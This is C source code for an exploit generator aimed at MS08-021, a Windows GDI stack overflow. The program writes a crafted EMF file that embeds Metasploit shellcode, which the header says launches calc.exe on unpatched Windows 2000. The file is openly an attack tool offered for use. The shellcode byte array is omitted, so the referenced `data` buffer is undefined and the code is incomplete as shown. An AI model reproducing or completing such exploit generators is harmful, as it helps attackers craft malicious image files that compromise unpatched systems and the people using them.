///Exploit the MS08-021 : Stack Overflow on GDI API
///Author: Lamhtz
///Date: April 14th, 2008
///Usage: <appname.exe> [filename]
///Function: Generate a crafted emf file which could
/// automatically run calc.exe in Win2kSP4 CHS Version
///       with MS07-046 patched but no MS08-021 is installed.
///       In Windows XP SP2, explorer.exe will crashed but
/// calc will not be run.
/////////////////////////////////////////////////////////////

#include "stdlib.h"
/////////////////////////////////////////////////////////////
///The raw EMF data.
///Shellcode included.(Metasploit)
/////////////////////////////////////////////////////////////
//中间shellcode太长 省略掉 //T4nk upx.com.cn
/////////////////////////////////////////////////////////////
///The main function to generate the EMF file
/////////////////////////////////////////////////////////////
int _tmain(int argc, _TCHAR* argv[])
{
  printf("/////////////////////////////////////////////////////////////\n\
///Exploit the MS08-021 : Stack Overflow on GDI API\n\
///Author: Lamhtz\n\
///Date: April 14th, 2008\n\
///Usage: <appname.exe> [filename]\n\
///Your filename must end with .emf\n\
/////////////////////////////////////////////////////////\n");
  if (argc != 2)
  {
    
    printf("Usage: <appname.exe> [filename]\n");
    exit(0);
  }
  FILE *stream;


if( fopen_s( &stream, argv[1], "w+b" ) == 0 )
{
printf("Generating %s....\n", argv[1]);
   fwrite( data, sizeof(data) ,1 , stream );
printf( "%s created ! \n", argv[1] );
fclose( stream );

}
else
{
   printf("File Created Failure ! \n");
   exit(-1);
}
  return 0;
}